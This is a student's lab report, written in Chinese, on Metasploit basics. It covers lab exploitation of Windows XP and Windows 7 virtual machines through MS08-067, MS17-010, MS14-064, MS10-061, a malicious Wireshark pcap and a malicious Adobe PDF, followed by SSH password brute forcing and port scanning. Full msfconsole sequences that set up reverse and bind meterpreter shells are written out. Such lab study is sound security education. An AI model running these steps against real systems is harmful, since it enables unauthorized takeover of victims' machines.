20192424 王昭雲 2021-2022-2 《網路與系統攻防技術》實驗六實驗報告
《網路對抗技術》——Exp6 MSF應用基礎
一、實踐內容
本實踐目標是掌握metasploit的基本應用方式,重點常用的三種攻擊方式的思路。具體需要完成:
- 一個主動攻擊實踐,儘量使用最新的類似漏洞;
- 一個針對瀏覽器的攻擊,儘量使用最新的類似漏洞;
- 一個針對客戶端的攻擊,如Adobe或office,儘量使用最新的類似漏洞;
- 成功應用任何一個輔助模組。
二、實踐原理
MSF攻擊方法
- 主動攻擊:掃描主機漏洞
- 攻擊瀏覽器
- 供給客戶端
六個模組
-
滲透攻擊模組exploit
- 利用發現的安全漏洞或配置弱點對遠端目標系統進行攻擊,以植入和執行攻擊載荷,從而獲得對遠端目標系統訪問權的程式碼元件。
-
輔助模組Auxiliary
- 能夠幫助滲透測試中在進行滲透攻擊之前得到的目標系統豐富的情報資訊,從而發起更具目標性的精準攻擊。
- 主要包括針對各種網路服務的掃描和查點、構建虛假服務收集登入密碼、口令猜測破解、敏感資訊嗅探、探查敏感資訊洩露、Fuzz測試發掘漏洞、實施網路協議欺騙等模組。
-
攻擊載荷Payload
- 在滲透成功後促使目標系統執行的一端植入程式碼,通常作用是為滲透攻擊者開啟在目標系統上的控制會話連線。實際上,該模組就是計算機整合的針對不同作業系統實現shellcode攻擊的ruby程式碼。
- 三種payload :Single,Stager,Stages。
-
空欄位模組Nop :
- 一些對程式執行狀態不會造成任何實質影響的空操作或無關操作指令,最典型的空指令就是空操作,在X86 CPU體系架構平臺上的操作碼是0x90,便於快速確定返回地址的位置
-
編碼模組Encoders:
- 針對payload進行編碼,可以通過多種編碼手段、多次編碼方式有效的改變payload程式碼特徵
-
後滲透攻擊模組Post :
- 支援在滲透攻擊取得目標系統遠端控制權之後,在受控系統中進行給各樣的後滲透攻擊動作。
-
MSF的三種使用者操作介面
-
msfconsole
- 檢視模組的具體資訊info [exploits|auxiliary|post|payloads|encoders|nops]
- 檢視設定資訊show [options]
- 檢視攻擊目標型別show [target]
- 查詢命令search
- 查詢2018年產生的在windows平臺下的漏洞search ms18(或CNE:2018) type:exploit platform:windows
-
armitage
- 啟動伺服器service postgresql start
- 啟動armitage
-
webgui
三、實踐過程
1、一個主動攻擊實踐
-
ms08_067_netapi
-
ms17_010
2、一個針對瀏覽器的攻擊
-
ms14_064
-
Microsoft Windows OLE遠端程式碼執行漏洞,OLE(物件連結與嵌入)是一種允許應用程式共享資料和功能的技術,遠端攻擊者利用此漏洞通過構造的網站執行任意程式碼。
-
靶機:Windows XP IE瀏覽器
-
攻擊機:Kali
-
獲取XP虛擬機器的IP地址
-
開始攻擊
- sudo msfconsole
- search ms14_064 //檢視與此漏洞相關的攻擊模組
- use exploit/windows/browser/ms14_064_ole_code_execution //選擇攻擊模組
- set payload windows/meterpreter/reverse_tcp //設定攻擊載荷
- set SRVHOST 192.168.189.125 //設定攻擊機IP(kali)
- set AllowPowerShellPrompt true //設定powershell
- set LHOST 192.168.189.152 //設定監聽地址(KaliIP)
- set LPORT 135 //設定監聽埠
- show targets //檢視此漏洞適用的系統版本
- set target 0 //設定winXP靶機
- show options //檢視設定的引數資訊
- exploit
-
出現報錯:Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (192.168.189.152:8080)
-
然後發現8080埠是關閉的,聽說IIS服務開啟後悔自動開啟8080埠,然後我去安裝了
-
安裝時一開始由於我用的是別人的vmx虛擬機器,所以找不到CD-ROM,後來使用自己的XP就安裝成功了
-
安裝成功後我重新掃描發現了這個漏洞
-
感覺這個ms10-024漏洞可以成功,我們來試試吧
-
搜尋msf發現沒有01-024,但是我發現01開頭的都是攻擊瀏覽器的我們換一個exploit試試。
-
使用ms10-002發現可以成功執行
- 其中多了一條配置命令set uripath \admin
-
可能是因為我用的中文版XP,所以會自動識別被滲透了,斷開會話
-
-
MS10_061
-
先在靶機上裝列印服務
-
在kali上掃描印表機
-
查詢NetBIOS
NetBIOS協議是由IBM公司開發,主要用於數十臺計算機的小型區域網。NetBIOS協議是一種在區域網上的程式可以使用的應用程式程式設計介面(API),為程式提供了請求低階服務的統一的命令集,作用是為了給區域網提供網路以及其他特殊功能
-
訪問SMB,發現了我可愛的印表機
-
使用MSF模組攻擊
-
-
MS10-046
-
search ms11_003
-
ms17_010
-
攻擊靶機win7,ip為192.168.189.155
-
配置引數
-
攻擊成功
-
3、針對客戶端的攻擊
-
wireshark
-
選擇ip為192.168.189.140的靶機winXP
-
下載wireshark
-
開始抓包
-
配置攻擊引數
-
sudo msfconsole //進入控制檯
-
search wireshark //搜尋與wireshark有關的漏洞
-
use exploit/windows/fileformat/wireshark_packet_dect //選擇使用此漏洞
-
set payload windows/meterpreter/reverse_tcp //設定tcp反向連線
-
show options //檢視需要配置的引數選項
-
set LHOST 192.168.189.135 //kali的IP
-
set LPORT 4444 //設定埠號
-
set FILENAME 20192424wzy.pcap //設定生成的pcap檔名
-
exploit //生成.pcap檔案
-
-
將生成的pcap檔案複製到XP虛擬機器中
-
在靶機雙擊檢視pcap檔案前先設定如下命令
- use exploit/multi/handler //進入監聽模組
- set payload windows/meterpreter/reverse_tcp //設定tcp反向連線
- show options //檢視需要配置的引數選項
- set LHOST 192.168.189.135 //kali的IP
- set LPORT 4444 //設定監聽的埠號
- exploit //開啟監聽
-
wireshark開啟後閃退,連結成功,但是由於系統補丁連結迅速被斷開了
-
-
ADOBE READER
-
在客戶機上下載了7.0.08版本的Adobe reader
-
配置引數
- use windows/fileformat/adobe_cooltype_sing //選擇攻擊模組
- set payload windows/meterpreter/bind_tcp //選擇攻擊載荷
- set LHOST 192.168.189.135 //設定監聽IP
- set LPORT 4444 //設定監聽埠
- set FILENAME 20192424wzy.pdf //設定檔名
-
生成帶有shellcode的pdf
-
通過虛擬機器VMtools增強功能將檔案放入靶機
-
開始監聽
- use exploit/multi/handler //進入監聽模組
- set payload windows/meterpreter/bind_tcp //選擇攻擊載荷
- show options //檢視詳細資訊
- set RHOST 192.168.189.140 //設定靶機IP地址
- set LPORT 4444 //設定埠號
-
exploit //開始攻擊
-
攻擊失敗,換9.0版本的再試試
-
安裝9.0版本
-
繼續監聽,引數不需要改變
-
9.0發現了檔案的問題出現如下彈窗
-
不服就幹,切換靶機
-
4、使用一個輔助模組
-
使用auxiliary/scanner/ssh/ssh_login對Adminstraster使用者進行密碼爆破
-
使用輔助模組use auxiliary/scanner/portscan/syn進行port掃描,掃描成功
四、實踐心得體會
本次實驗雖然難度不大,但是非常麻煩。感覺學習到的知識不是很多。本次實驗中大量時間浪費在了不斷的安裝不同版本的虛擬機器,客戶端,不斷的嘗試不同的漏洞中。這也讓我感受到補丁的重要性。
在滲透中,0day漏洞的危害是不言而喻的,這也說明了PWN再滲透中的重要性。讀懂作業系統,程式的底層程式碼,才能讓我們更好的找到漏洞。
最後,對於客戶端滲透,我建議讓下一屆的學弟學妹們自己寫一個客戶端然後自己滲透自己的程式吧,這個可以幫助他們從原理上理解通過漏洞滲透的原理。